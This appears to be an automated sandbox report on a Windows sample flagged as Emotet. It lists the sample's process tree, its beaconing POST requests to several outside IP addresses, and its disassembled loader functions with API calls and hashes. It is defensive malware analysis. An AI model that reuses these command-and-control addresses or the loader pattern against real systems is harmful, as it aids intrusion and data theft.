Aug 20, 2024 19:10:55.327039003 CEST	431	IN	HTTP/1.1 404 Not Found Date: Tue, 20 Aug 2024 17:10:55 GMT Server: Apache Content-Length: 230 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 52 33 30 5a 53 2f 4b 73 34 56 68 2f 64 37 33 54 63 37 34 77 34 47 4a 52 2f 43 7a 65 68 56 4f 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /R30ZS/Ks4Vh/d73Tc74w4GJR/CzehVO/ was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49740	167.114.153.111	8080	424	C:\Windows\SysWOW64\KBDTZM\mibincodec.exe

Timestamp	Bytes transferred	Direction	Data
Aug 20, 2024 19:10:58.709069014 CEST	559	OUT	POST /IIFe/1yJDM9EkbiP8R7/XHAjzKH0LnedA/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate DNT: 1 Connection: keep-alive Referer: 167.114.153.111/ Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=--------kYHRLcw3 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: 167.114.153.111:8080 Content-Length: 4628 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49741	67.170.250.203	443	424	C:\Windows\SysWOW64\KBDTZM\mibincodec.exe

Timestamp	Bytes transferred	Direction	Data
Aug 20, 2024 19:11:02.433474064 CEST	607	OUT	POST /vE1qWiF8GUO/OKiMtdK9y/9BlkbfHs/KSvjvc1is4hq83x0Q/qTFsKaNJ2QVx5a/KqpZ4e/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate DNT: 1 Connection: keep-alive Referer: 67.170.250.203/ Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=---------------Eoyapxu02W4DrmN User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: 67.170.250.203:443 Content-Length: 4628 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49742	121.124.124.40	7080	424	C:\Windows\SysWOW64\KBDTZM\mibincodec.exe

Timestamp	Bytes transferred	Direction	Data
Aug 20, 2024 19:11:05.081152916 CEST	552	OUT	POST /gLDpms1fYdKy/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate DNT: 1 Connection: keep-alive Referer: 121.124.124.40/ Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=----------------xQkdZnrmTvVZqhGU User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: 121.124.124.40:7080 Content-Length: 4628 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49745	103.86.49.11	8080	424	C:\Windows\SysWOW64\KBDTZM\mibincodec.exe

Timestamp	Bytes transferred	Direction	Data
Aug 20, 2024 19:11:10.167423010 CEST	582	OUT	POST /9mmFlI8wqZPEO4Eye/1GdTSUCcmXtydSz7Jl/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate DNT: 1 Connection: keep-alive Referer: 103.86.49.11/ Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=---------------------55np6X3FuJzN6N0jwc7TN User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: 103.86.49.11:8080 Content-Length: 4612 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49747	74.214.230.200	80	424	C:\Windows\SysWOW64\KBDTZM\mibincodec.exe

Timestamp	Bytes transferred	Direction	Data
Aug 20, 2024 19:11:35.085169077 CEST	598	OUT	POST /LpKB18VG3Sv/wCjo7wyWELImd4sKB/XYJP/vAurLMRY4/JiSXcWi0E/bmhDcdvNb3/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate DNT: 1 Connection: keep-alive Referer: 74.214.230.200/ Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=---------------08lfRHAZEMwmT24 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: 74.214.230.200 Content-Length: 4612 Cache-Control: no-cache
Aug 20, 2024 19:11:35.085203886 CEST	4612	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 30 38 6c 66 52 48 41 5a 45 4d 77 6d 54 32 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 78 70 74 79 75 6e 6e 63 Data Ascii: -----------------08lfRHAZEMwmT24Content-Disposition: form-data; name="xptyunncwtcez"; filename="qkba"Content-Type: application/octet-stream@nHPV@fn9_,E>)]uEk& ]zkQ!%aD0B*Rf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49749	194.187.133.160	443	424	C:\Windows\SysWOW64\KBDTZM\mibincodec.exe

Timestamp	Bytes transferred	Direction	Data
Aug 20, 2024 19:11:59.081681013 CEST	632	OUT	POST /67tfsWS9hNw/KKtRVVGv4EtXppzG6kI/QUenxzCNc1M41S/3mazKpx2CkV0/iq7lqvPWFwbXzrG/URwQPsLPEtkyUnGKT/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate DNT: 1 Connection: keep-alive Referer: 194.187.133.160/ Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=---------------ZhnuNfjLptUX6mp User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: 194.187.133.160:443 Content-Length: 4596 Cache-Control: no-cache

Target ID:	0
Start time:	13:09:55
Start date:	20/08/2024
Path:	C:\Users\user\Desktop\ExeFile (233).exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\ExeFile (233).exe"
Imagebase:	0x400000
File size:	471'040 bytes
MD5 hash:	59287B19F7D85E749D19A57337103045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 00000000.00000002.2113956187.0000000002261000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Emotet_5528b3b0, Description: unknown, Source: 00000000.00000002.2113956187.0000000002261000.00000020.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 00000000.00000002.2113709625.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Emotet_5528b3b0, Description: unknown, Source: 00000000.00000002.2113709625.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 00000000.00000002.2113874721.00000000021F4000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Emotet_5528b3b0, Description: unknown, Source: 00000000.00000002.2113874721.00000000021F4000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	13:09:55
Start date:	20/08/2024
Path:	C:\Windows\SysWOW64\rtmpal\dfscli.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\rtmpal\dfscli.exe"
Imagebase:	0x400000
File size:	471'040 bytes
MD5 hash:	59287B19F7D85E749D19A57337103045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 00000002.00000002.2117416875.0000000002190000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Emotet_5528b3b0, Description: unknown, Source: 00000002.00000002.2117416875.0000000002190000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 00000002.00000002.2117594434.0000000002231000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Emotet_5528b3b0, Description: unknown, Source: 00000002.00000002.2117594434.0000000002231000.00000020.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 00000002.00000002.2117499906.00000000021C4000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Emotet_5528b3b0, Description: unknown, Source: 00000002.00000002.2117499906.00000000021C4000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	13:09:56
Start date:	20/08/2024
Path:	C:\Windows\SysWOW64\KBDTZM\mibincodec.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\KBDTZM\mibincodec.exe"
Imagebase:	0x400000
File size:	471'040 bytes
MD5 hash:	59287B19F7D85E749D19A57337103045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 00000003.00000002.3346727228.00000000021B4000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Emotet_5528b3b0, Description: unknown, Source: 00000003.00000002.3346727228.00000000021B4000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 00000003.00000002.3346601105.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Emotet_5528b3b0, Description: unknown, Source: 00000003.00000002.3346601105.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 00000003.00000002.3346828238.00000000021F1000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Emotet_5528b3b0, Description: unknown, Source: 00000003.00000002.3346828238.00000000021F1000.00000020.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	13:10:41
Start date:	20/08/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	2.9%
Dynamic/Decrypted Code Coverage:	51.6%
Signature Coverage:	25.4%
Total number of Nodes:	562
Total number of Limit Nodes:	75

Executed Functions

Function 00402530 Relevance: 44.3, APIs: 9, Strings: 16, Instructions: 563
libraryloaderfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(Advapi32.dll,EncryptFileA), ref: 00402563
GetProcAddress.KERNEL32(00000000), ref: 00402566
EncryptFileA.ADVAPI32(C:\Windows\Setup\State\State.ini), ref: 00402571
LoadLibraryA.KERNEL32 ref: 004028F0
GetProcAddress.KERNEL32(00000000,LdrFindResource_U), ref: 004028FA
GetProcAddress.KERNEL32(00000000,?), ref: 0040291E
LdrFindResource_U.NTDLL(00400000,?,00000003,?), ref: 00402940
LdrAccessResource.NTDLL(00400000,?,?,?), ref: 00402961
VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 00402974

Part of subcall function 00403B40: LoadIconA.USER32(?,00000080), ref: 00403C94

Strings

2sqN7HPu$ul(RB@jWoBnNar^zWR24F02n#bnM3gX6zQ>^jmGICwkhJ?*#2^h2EEKd&#?A8<JT0c%Q?f1Y6Da*fKp6B+(L3!F<O*&V, xrefs: 0040299E
LdrFindResource_U, xrefs: 004028F4
r_n, xrefs: 004027A7
EncryptFileA, xrefs: 00402552
dReso, xrefs: 004025D8
urce_U, xrefs: 00402607
Advapi32.dll, xrefs: 00402557
LdrAccessR, xrefs: 00402859
sResource, xrefs: 004026F4
Acces, xrefs: 004026C4
ntdll.dll, xrefs: 004028E3
LdrFin, xrefs: 00402587
tdll, xrefs: 004027D7
Ldr, xrefs: 0040269C
C:\Windows\Setup\State\State.ini, xrefs: 0040256C
esource, xrefs: 0040288D

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: AddressLoadProc$Library$AccessAllocEncryptFileFindIconResourceResource_Virtual
String ID: 2sqN7HPu$ul(RB@jWoBnNar^zWR24F02n#bnM3gX6zQ>^jmGICwkhJ?*#2^h2EEKd&#?A8<JT0c%Q?f1Y6Da*fKp6B+(L3!F<O*&V$Acces$Advapi32.dll$C:\Windows\Setup\State\State.ini$EncryptFileA$Ldr$LdrAccessR$LdrFin$LdrFindResource_U$dReso$esource$ntdll.dll$r_n$sResource$tdll$urce_U
API String ID: 2745701538-3822946923
Opcode ID: ff7380a43e44da0602bb0ab87dd5fe5d31548b4def8bd87a78dd0ffcd0c5d888
Instruction ID: 7606226607a74ee82f4d59785f456a1b28ac7059c3ee9b1f73d73fed3cc09996
Opcode Fuzzy Hash: ff7380a43e44da0602bb0ab87dd5fe5d31548b4def8bd87a78dd0ffcd0c5d888
Instruction Fuzzy Hash: 074208B19083C0DBD331DF1AC585BCBFBE4AB99704F44492FA1C953291DAB8A548CB5B

Function 021F1030 Relevance: 18.4, APIs: 12, Instructions: 362
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(021F4054,021F4040), ref: 021F1047
GetProcAddress.KERNEL32(00000000), ref: 021F104E

Part of subcall function 021F1B30: SetLastError.KERNEL32(0000000D,?,021F1070,?,00000040), ref: 021F1B3D

SetLastError.KERNEL32(000000C1), ref: 021F1096

Memory Dump Source

Source File: 00000000.00000002.2113850461.00000000021F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 021F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_21f1000_ExeFile (233).jbxd

Similarity

API ID: ErrorLast$AddressLibraryLoadProc
String ID:
API String ID: 1866314245-0
Opcode ID: b073770b48b588f256191236cab786e860ce3197099eb4eb5eacb28a3681fc75
Instruction ID: 7d007817ae0e5d6418b3f6f64f7da51958a514b127af4bb7dacac3c8bc73f0fa
Opcode Fuzzy Hash: b073770b48b588f256191236cab786e860ce3197099eb4eb5eacb28a3681fc75
Instruction Fuzzy Hash: 33F1EDB4E40209EFDB44DF94D984BAEB7B1BF88314F108599EA29AB341D735EA41CF50

Function 022638F0 Relevance: 14.2, APIs: 3, Strings: 5, Instructions: 189
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindNextFileW.KERNELBASE(?,?,00000000,0226998D,16BF64F2,00000001), ref: 02263976
FindFirstFileW.KERNELBASE(?,?,00000000,0226998D,16BF64F2,00000001), ref: 02263A5D
FindClose.KERNELBASE(?,00000000,0226998D,16BF64F2,00000001), ref: 02263B91

Strings

Ei, xrefs: 02263AD8
Ei, xrefs: 0226399D
., xrefs: 02263A95
8T], xrefs: 02263910
8T], xrefs: 02263A22

Memory Dump Source

Source File: 00000000.00000002.2113956187.0000000002261000.00000020.00001000.00020000.00000000.sdmp, Offset: 02260000, based on PE: true

Associated: 00000000.00000002.2113944941.0000000002260000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2113968818.000000000226D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2113980276.0000000002270000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2113980276.0000000002275000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2113980276.0000000002282000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2260000_ExeFile (233).jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNext
String ID: .$8T]$8T]$Ei$Ei
API String ID: 3541575487-3972632629
Opcode ID: 4a571c7725c3f5fff95127ab016b045ba9eb2a4e4743d5b2d63cf478e35efda9
Instruction ID: 013facd2e002c205cde5e1f3673b29a03b146e4de98c2bff109adeeadb5f294c
Opcode Fuzzy Hash: 4a571c7725c3f5fff95127ab016b045ba9eb2a4e4743d5b2d63cf478e35efda9
Instruction Fuzzy Hash: 53510C77B253025BC734EAF4A85C77B32D6ABC0B04F00489DE946C7248EE76CC948B92

Function 02268240 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 183
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,?,?,00000000,?,0235BF01,00000000,?,?,00000000,2564BE4F), ref: 022683A9

Strings

.#v, xrefs: 02268479, 022684A4
J, xrefs: 022682D9

Memory Dump Source

Source File: 00000000.00000002.2113956187.0000000002261000.00000020.00001000.00020000.00000000.sdmp, Offset: 02260000, based on PE: true

Associated: 00000000.00000002.2113944941.0000000002260000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2113968818.000000000226D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2113980276.0000000002270000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2113980276.0000000002275000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2113980276.0000000002282000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2260000_ExeFile (233).jbxd

Yara matches

Similarity

API ID: CreateFile
String ID: J$.#v
API String ID: 823142352-3621003161
Opcode ID: 30c97c60238384f0a97d117f7023aaae91cc524d4b2775ab3e5b6787b8c30196
Instruction ID: bdc381ba2c7dfffdec7ac2fe0f2b5c4093456845ed473f00d1d3de6bfccb8cae
Opcode Fuzzy Hash: 30c97c60238384f0a97d117f7023aaae91cc524d4b2775ab3e5b6787b8c30196
Instruction Fuzzy Hash: 4B61BC73A153029FC708DFA8D488A2FB7E2ABC4744F04891DF4959B288D774C9498BD3

Function 022642F0 Relevance: 1.5, APIs: 1, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,00000008,00000480), ref: 02264344

Memory Dump Source

Source File: 00000000.00000002.2113956187.0000000002261000.00000020.00001000.00020000.00000000.sdmp, Offset: 02260000, based on PE: true

Associated: 00000000.00000002.2113944941.0000000002260000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2113968818.000000000226D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2113980276.0000000002270000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2113980276.0000000002275000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2113980276.0000000002282000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2260000_ExeFile (233).jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: da66a822a7c663d8af3f7f8d7b911279ce126e00212874470fe5f3f700cba7d9
Instruction ID: 2ab0c478892dbf692397a817110d44e129a61ac8d720992b3189d069aa8452e4
Opcode Fuzzy Hash: da66a822a7c663d8af3f7f8d7b911279ce126e00212874470fe5f3f700cba7d9
Instruction Fuzzy Hash: B5E06573B512066F9B14F6F574AC67B25ABABD1A807188869F441CB348EEB08C514BE0

Function 00403250 Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(?,?,00000006), ref: 00403267

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: FindResource
String ID:
API String ID: 1635176832-0
Opcode ID: 3fb110486180756d7062ab4bb5e945649043ed0de42859ea3d5401de1059676a
Instruction ID: 81cb0e02c961f06c601f38abdce0fa68ed7433aa8319f068ff8f8c5a31199cb9
Opcode Fuzzy Hash: 3fb110486180756d7062ab4bb5e945649043ed0de42859ea3d5401de1059676a
Instruction Fuzzy Hash: 57D0C2263000202AE5101A0A7C01DBB679CDBC5636B01407FF881EA150D2349C03A1B1

Function 00401E50 Relevance: .5, Instructions: 504COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 79bb1fcc020155563c7cc4a2954cba24265ea2a619610a4c7e0d977e309fa0fa
Instruction ID: 89b8f714c6d77962538825249d7482e3452185ede8dc8e96fc1d04669f1ea640
Opcode Fuzzy Hash: 79bb1fcc020155563c7cc4a2954cba24265ea2a619610a4c7e0d977e309fa0fa
Instruction Fuzzy Hash: 670207757002018BD710DB28C451F2677A2AF99718F3886ADE549AF3D6D77AEC42C7C8

Function 004297AA Relevance: 15.1, APIs: 10, Instructions: 99
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32(0043F1BC,76230A60,?,?,0043F1A0,0043F1A0,?,00429CE6,76230A60,00000000,?,004295E3,00428940,004295FF,0041F399,00425BC8), ref: 004297BB
GlobalAlloc.KERNELBASE(00000002,00000040,?,?,0043F1A0,0043F1A0,?,00429CE6,76230A60,00000000,?,004295E3,00428940,004295FF,0041F399,00425BC8), ref: 0042980C
GlobalHandle.KERNEL32(00662F78), ref: 00429815
GlobalUnlock.KERNEL32(00000000,?,?,0043F1A0,0043F1A0,?,00429CE6,76230A60,00000000,?,004295E3,00428940,004295FF,0041F399,00425BC8,76230A60), ref: 0042981F
GlobalReAlloc.KERNEL32(?,00000040,00002002), ref: 00429833
GlobalHandle.KERNEL32(00662F78), ref: 00429845
GlobalLock.KERNEL32(00000000,?,?,0043F1A0,0043F1A0,?,00429CE6,76230A60,00000000,?,004295E3,00428940,004295FF,0041F399,00425BC8,76230A60), ref: 0042984C
LeaveCriticalSection.KERNEL32(?,?,?,0043F1A0,0043F1A0,?,00429CE6,76230A60,00000000,?,004295E3,00428940,004295FF,0041F399,00425BC8,76230A60), ref: 00429855
GlobalLock.KERNEL32(00000000,?,?,0043F1A0,0043F1A0,?,00429CE6,76230A60,00000000,?,004295E3,00428940,004295FF,0041F399,00425BC8,76230A60), ref: 00429861
LeaveCriticalSection.KERNEL32(?), ref: 004298A9

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: Global$CriticalSection$AllocHandleLeaveLock$EnterUnlock
String ID:
API String ID: 2667261700-0
Opcode ID: 4f9e3a5ef5ad01d73bbac885e9157687d52a2eef6912d29c00d5968687f22220
Instruction ID: c16d36367e021ba24902c865a556433996ae8c1a0eb80cc3bd54c7b43d994e5f
Opcode Fuzzy Hash: 4f9e3a5ef5ad01d73bbac885e9157687d52a2eef6912d29c00d5968687f22220
Instruction Fuzzy Hash: 43319A30700714AFDB20DF66D888A6ABBF9FB84344B44497EE546D3620D734ED06CB68

Function 02267EC0 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 227
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFileInformationByHandle.KERNELBASE(007EF903,00000000,?,00000028), ref: 02268149
CreateFileW.KERNELBASE(?,?,?,00000000,?,0235BF01,00000000), ref: 022681ED

Strings

e?M:, xrefs: 022681F6
Ei, xrefs: 02268030
{, xrefs: 02267ECA
.#v, xrefs: 0226821F
J, xrefs: 02267F3B
e?M:, xrefs: 022680E3

Memory Dump Source

Source File: 00000000.00000002.2113956187.0000000002261000.00000020.00001000.00020000.00000000.sdmp, Offset: 02260000, based on PE: true

Associated: 00000000.00000002.2113944941.0000000002260000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2113968818.000000000226D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2113980276.0000000002270000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2113980276.0000000002275000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2113980276.0000000002282000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2260000_ExeFile (233).jbxd

Yara matches

Similarity

API ID: File$CreateHandleInformation
String ID: J$e?M:$e?M:$.#v$Ei${
API String ID: 3667790775-1658071454
Opcode ID: 74aeeec8adc3b2dc327feabe0ad49e3c2ce6a6fd602748faf8848a543ad8ebec
